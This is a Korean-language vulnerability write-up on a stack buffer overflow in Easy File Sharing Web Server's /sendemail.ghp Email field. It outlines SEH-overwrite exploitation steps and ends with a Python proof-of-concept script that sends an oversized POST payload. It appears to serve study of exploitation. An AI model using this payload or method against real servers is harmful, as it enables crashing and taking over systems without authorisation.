⚠️ 취약점 정보

Easy File Sharing Web Server는 이메일 알림 기능의 일부로 /sendemail.ghp로 전달되는 HTTP POST 요청을 처리합니다. 이 엔드포인트가 수락하는 Email 매개변수는 길이 검사 없이 로컬 스택 버퍼에 복사됩니다.

취약한 로직의 단순화된 버전은 다음과 같습니다:

char email_buffer[256];

strcpy(email_buffer, user_input);

대상 버퍼는 고정 크기이고 입력 길이가 검증되지 않으므로, Email 필드에 충분히 긴 문자열을 보내면 복사가 버퍼 끝을 넘어 쓰게 됩니다.

더 많은 데이터가 쓰이면 스택 레이아웃이 손상됩니다. 단순한 반환 주소 덮어쓰기와 달리, 오버플로우는 스택에 저장된 구조적 예외 처리기(SEH) 체인에 도달합니다. 손상된 스택의 결과로 예외가 발생하면 OS는 SEH 체인을 탐색하여 공격자가 제어하는 핸들러 주소로 제어권을 넘깁니다.

따라서 익스플로잇 흐름은 SEH 덮어쓰기 기법을 따릅니다:

1. 긴 입력이 nSEH 및 SEH 핸들러 포인터를 포함하여 스택을 덮어씁니다.
2. 메모리 손상으로 인해 예외가 발생합니다.
3. OS는 덮어써진 핸들러 주소를 호출합니다.
4. POP POP RETN 가젯을 사용하여 실행 흐름을 nSEH 영역으로 이동시킵니다.
5. 앞으로의 짧은 점프가 SEH 레코드를 건너뛰고 실행 흐름을 셸코드 영역으로 리디렉션합니다.
6. 셸코드가 실행됩니다.

이로 인해 이 취약점은 기본적인 EIP 덮어쓰기보다 익스플로잇이 더 복잡하지만, 실제 환경의 시나리오를 더 잘 반영합니다.

import socket

HOST = '127.0.0.1'
PORT = 80

request = (
	'POST /sendemail.ghp HTTP/1.1\r\n'
	'Email=' + 'A' * 5000 + '&getPassword=Get+Password'
).encode('utf-8')

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(request)
s.close()